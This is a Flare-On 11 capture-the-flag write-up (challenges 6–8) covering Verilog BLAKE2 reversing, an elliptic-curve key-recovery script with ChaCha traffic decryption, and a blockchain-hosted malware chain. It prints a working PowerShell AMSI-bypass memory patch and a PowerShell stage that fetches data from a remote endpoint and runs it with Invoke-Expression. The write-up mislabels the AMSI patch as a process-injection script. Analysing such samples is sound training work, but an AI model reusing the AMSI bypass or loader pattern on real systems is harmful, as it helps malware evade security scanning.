Challenge 6 – bloke2
We were provided with some Verilog files, specifically test benches and modules for the implementation of BLAKE2 hash calculations.
After compiling the test bench files and examining their output, I am now mainly focusing on two files:
bloke2s.v
bloke2b.v
The test benches for these modules hash some test messages:
Output is the hash result, with different lengths for each type: Blake2b is optimized for 64-bit platforms and produces digests of any size between 1 and 64 bytes, while Blake2s is optimized for 8- to 32-bit platforms and produces digests of any size between 1 and 32 bytes:
- BLOKE2S:
- BLOKE2B:
Based on the description, our goal is a message that can be extracted from the test bench. To do this, I decided to trace back from the first file that prints out the hashes. Ignoring the test bench for the bloke2s
module, we went directly into bloke2s.v
. Initially, this one invokes bloke2
module, pass parameters into it, indicating that bloke2s.v
serves as a wrapper of the actual hashing module:
Moving on to bloke2.v
, it invokes the f_unit
and data_mgr
modules:
f_unit
module then invokes all the remaining modules, setting up some BLAKE2 constants for the subsequent hashing process, as shown below:
Therefore, it’s better to ignore this part and not delve too deeply into the hashing process, as our target is the hidden message.
When examining data_mgr.v
, we can observe a suspicious value there:
To confirm my assumption this is our hidden message, i changed TEST_VAL
to different value, then ran bloke2s_tb.v
again. Since it didnt affects the hashing result, i proceeded to analyze further how this variable is used in the code.
It is going to be used to XOR with h_in
:
h_in
here refers to h_out
:
Compare to an implement of blake2. h_out
should be hash result:
We can confirm that by printing out the h_in
, you will see h_in
is our hash value but in reverse order:
Next, we can simply xor reversed hash with TEST_LOCAL
, where one of them is flag:
Flag:
please_send_help_i_am_trapped_in_a_ctf_flag_factory@flare-on.com
Challenge 7 – fullspeed
We have a 64-bit C/C++ program:
However, note the following two signs of the file:
- There’s only one export
DotNetRuntimeDebugHeader
:
- It contains these sections
.managed
,.hydrated
:
This tells us that it is a .NET program using AOT (Ahead of Time) compilation.
IDA doesn’t have signatures for .NET runtime functions compiled AOT, so nothing is recognized. Therefore, we need to rebuild the symbols for it. Based on the libraries used by the binary as shown in IDA String, I recreated sig in C# using the Bouncy Castle library following this post. Placing sig file in the /sig/pc
folder of IDA, now loading the binary, we can easily read it.
After debugging, I was able to summarize what this program does:
This function resolves strings:
I obtained the strings resolved at the calls to this function using the following IDA script:
param = get_operand_value(prev_head(i, 0), 1)
addr = Appcall.ResolveName(param).value + 12
result = ida_bytes.get_strlit_contents(addr, -1, ida_nalt.STRTYPE_C_16)
set_cmt(i, result.decode(), 0)
With a pcap file, understanding what we need to do is to analyze the traffic. I debugged with FakeNet until I receive connection to trace to the socket working parts, and so on.
Function at address 0x7FF681FB7EA0
, which carries out the main functions, and the necessary information for solving the challenge. But first, let’s take a look at the sub_7FF67A187BC0
, which i find by Xref one of the resolved strings:
- Create Curve:
- Create Curve point G:
- Generate a random number using PRNG (let’s call it N).
From G and N, we can derive the public key. However, we currently don’t have N. Based on this writeup, i was able to retrieve N using the following Python script:
from sage.all import *
def dis_log(G, Q, factors):
logs = []
mod = []
for factor in factors:
G_factor = (G.order() // factor) * G
Q_factor = (G.order() // factor) * Q
log_factor = discrete_log(Q_factor, G_factor, operation='+')
logs.append(log_factor)
mod.append(factor)
return logs, mod
def check_key(candidate_key, G, Q):
return G * candidate_key == Q
p = 0xc90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380
Gx = 0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fb85452f041fff14cf0e9aa7e45544f9d8
Gy = 0x127425c1d330ed537663e87459eaa1b1b53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182
Qx = 0x195B46A760ED5A425DADCAB37945867056D3E1A50124FFFAB78651193CEA7758D4D590BED4F5F62D4A291270F1DCF499 #xored 0x1337
Qy = 0x357731EDEBF0745D081033A668B58AAA51FA0B4FC02CD64C7E8668A016F0EC1317FCAC24D8EC9F3E75167077561E2A15 #xored 0x1337
E = EllipticCurve(GF(p), [a, b])
G = E(Gx, Gy)
Q = E(Qx, Qy)
o_G = G.order()
factors = factor(o_G)
filf = [factor for factor, _ in factors if factor.nbits() <= 60]
logs, mod = dis_log(G, Q, filf)
u = crt(logs, mod)
prime = prod(filf)
upper_bound_m = int(1 + 2**128 / prime)
for m in range(upper_bound_m):
mtkey = u + m * prime
if check_key(mtkey, G, Q):
print(hex(mtkey))
break
Output is our N – 7ed85751e7131b5eaf5592718bef79a9
. Let’s set this aside for now.
Returning to sub_7FF681FB7EA0
, this function first takes the Affine X, Y Coordinates from the public key, XOR them with 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
, and then sends this to the server:
Next, it receives new X, Y from the server, XOR the received data with 0x133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337
, creates a new point from these two values, and then multiplies this new point by N:
After that, it takes the new Affine X, does SHA512
on it:
Then, it calls the ChaCha encryption function, with the key and nonce truncated from the hashed value. Since only 48 bytes are received to get the new X, Y above, encrypted data will be taken starting from after the X, Y that the server sends back:
With all these steps clear, I wrote a script to solve. First, to retrieve the new Affine X value, I used the following script:
using System.Text;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.Utilities.Encoders;
using Org.BouncyCastle.Math.EC;
var p = new BigInteger("c90102faa48f18b5eac1f76bb40a1b9fb0d841712bbe3e5576a7a56976c2baeca47809765283aa078583e1e65172a3fd", 16);
var a = new BigInteger("a079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331fe0fc1327f", 16);
var b = new BigInteger("9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f0c282fca6709a5f9f7f9c251c9eede9eb1baa31602167fa5380", 16);
var svX = new BigInteger("a0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c31", 16);
var svY = new BigInteger("96a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc", 16);
Byte[] N = Hex.Decode("7ed85751e7131b5eaf5592718bef79a9");
var iN = new BigInteger(N);
var _1337b = UTF8Encoding.UTF8.GetBytes("133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337");
var _1337 = new BigInteger(Encoding.UTF8.GetString(_1337b), 16);
Org.BouncyCastle.Math.EC.ECCurve fpcurve = (Org.BouncyCastle.Math.EC.ECCurve)new FpCurve(p, a, b);
svX = svX.Xor(_1337);
svY = svY.Xor(_1337);
var srvPoint = fpcurve.CreatePoint(svX, svY);
var srvMulPoint = srvPoint.Multiply(iN);
var srvNorPoint = srvMulPoint.Normalize();
var new_svX = srvNorPoint.AffineXCoord.ToBigInteger();
Console.WriteLine(Hex.ToHexString(new_svX.ToByteArray()));
The output is 3c54f90f4d2cc9c0b62df2866c2b4f0c5afae8136d2a1e76d2694999624325f5609c50b4677efa21a37664b50cec92c0
. Sha512 it, truncate, and then decrypt ChaCha with data from the pcap following the directions above:
Base64 decode, and we have the flag:
D0nt_U5e_y0ur_Own_CuRv3s@flare-on.com
Challenge 8 – clearlyfake
Given a JavaScript file, deobfuscate it using de4js
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
Try searching for the contract address on the Binance testnet network using BSCScan. In tab Contract we see bytecode:
Then, use Dedaub to decompile the Solidity code. It checks whether the string is giV3_M3_p4yL04d!!!!!!
. If correct, it returns another contract address: 0x5324eab94b236d4d1456edc574363b113cebf09d
Next, decompile bytecode in smart contract using Dedaub
uint256[] array_0; // STORAGE[0x0]
function 0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = 0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 < v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 < varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function 0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 <= v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function 0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function 0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
0x14a(v0);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__() private {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == msg.data[0] >> 224) {
0x5c880fcb();
} else if (0x8da5cb5b == msg.data[0] >> 224) {
owner();
} else if (0x916ed24b == msg.data[0] >> 224) {
0x916ed24b();
}
}
fallback();
}
Open block 43152014
(the block number from the first JS code) in the new contract. Show the input in UTF-8, and we get a base64 string
Remove the initial characters (the function address called in the smart contract), then decode the remaining part from base64 We got a PowerShell script that executes another encoded base64 script. Let’s decrypt it, It is a script to inject process
#Rasta-mouses Amsi-Scan-Buffer patch \n
$fhfyc = @"
using System;
using System.Runtime.InteropServices;
public class fhfyc {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ixajmz, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $fhfyc
$nzwtgvd = [fhfyc]::LoadLibrary("$(('ãmsí.'+'dll').NOrmAlizE([cHaR](70*31/31)+[char](111)+[Char]([Byte]0x72)+[CHaR](109+60-60)+[ChaR](54+14)) -replace [chaR]([bYTE]0x5c)+[CHar]([bYTE]0x70)+[ChAR](123+2-2)+[CHar]([byte]0x4d)+[ChAR]([bYTE]0x6e)+[char]([byTE]0x7d))")
$njywgo = [fhfyc]::GetProcAddress($nzwtgvd, "$(('ÁmsìSc'+'änBuff'+'er').NOrmALIzE([CHaR]([bYTE]0x46)+[Char]([bYTe]0x6f)+[cHAr]([bYTE]0x72)+[CHar](109)+[cHaR]([ByTe]0x44)) -replace [chAR](92)+[Char]([byTE]0x70)+[chaR]([bYTE]0x7b)+[chaR]([BYtE]0x4d)+[char](21+89)+[chaR](31+94))")
$p = 0
[fhfyc]::VirtualProtect($njywgo, [uint32]5, 0x40, [ref]$p)
$haly = "0xB8" ;mov eax,0x80070057
$ddng = "0x57" ;ret
$xdeq = "0x00"
$mbrf = "0x07"
$ewaq = "0x80"
$fqzt = "0xC3"
$yfnjb = [Byte[]] ($haly,$ddng,$xdeq,$mbrf,+$ewaq,+$fqzt)
[System.Runtime.InteropServices.Marshal]::Copy($yfnjb, 0, $njywgo, 6)
I looked for more transactions and found another PowerShell script in block 44335452
After decoding the base64, it turns out to be a PowerShell script, but it’s heavily obfuscated. Using PowerDecode, I was able to deobfuscate it, revealing the original script, which now looks quite clear
# Set endpoint for testnet
Set-Variable -Name testnet_endpoint -Value (" ")
# Define the JSON-RPC request body
Set-Variable -Name _body -Value '{
"method": "eth_call",
"params": [
{ "to": "$address", "data": "0x5c880fcb" },
BLOCK
],
"id": 1,
"jsonrpc": "2.0"
}'
# Send the request and get the response result
Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)
# Remove the '0x' prefix from the response
Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')
# Convert hex to bytes
Set-Variable -Name bytes0 -Value (
0..($hexNumber.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
[Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
}
)
# Convert bytes to UTF8 string and trim specific substring
Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))
Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))
# Convert from base64 to bytes
Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))
# Convert bytes to ASCII string
Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))
# Convert each byte to hex format
Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object { '{0:X2}' -f $_ })
# Join hex bytes into a single string
Set-Variable -Name hexString -Value ($hexBytes -join ' ')
# Write-Output $hexString
# Remove spaces from hexBytes to prepare for next conversion
Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")
# Convert hex string to bytes
Set-Variable -Name bytes3 -Value (
0..($hexBytes.Length / 2 - 1) | ForEach-Object {
Set-Variable -Name startIndex -Value ($_ * 2)
[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
}
)
# Convert the resulting bytes to a string
Set-Variable -Name bytes5 -Value ([System.Text.Encoding]::UTF8.GetString($bytes3))
# Define the key for XOR operation
Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))
# Perform XOR operation
Set-Variable -Name resultBytes -Value (@())
for (Set-Variable -Name i -Value 0; $i -lt $bytes5.Length; $i++) {
$resultBytes += ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])
}
# Convert the result to a string
Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))
# Define the command to create the flag file
Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")
# Execute the command
Invoke-Expression $command
The script above takes input data, decodes it from base64, then XORs it with FLAREON24
. I tried other transactions and managed to decode several strings. The flag was found in block 43148912
Flag: N0t_3v3n_DPRK_i5_Th15_1337_1n_Web3@flare-on.com
Read more:
Part 1: https://sec.vnpt.vn/2024/11/flareon-11-writeup-part-1/
Part 3: https://sec.vnpt.vn/2024/11/flareon-11-writeup-part-3/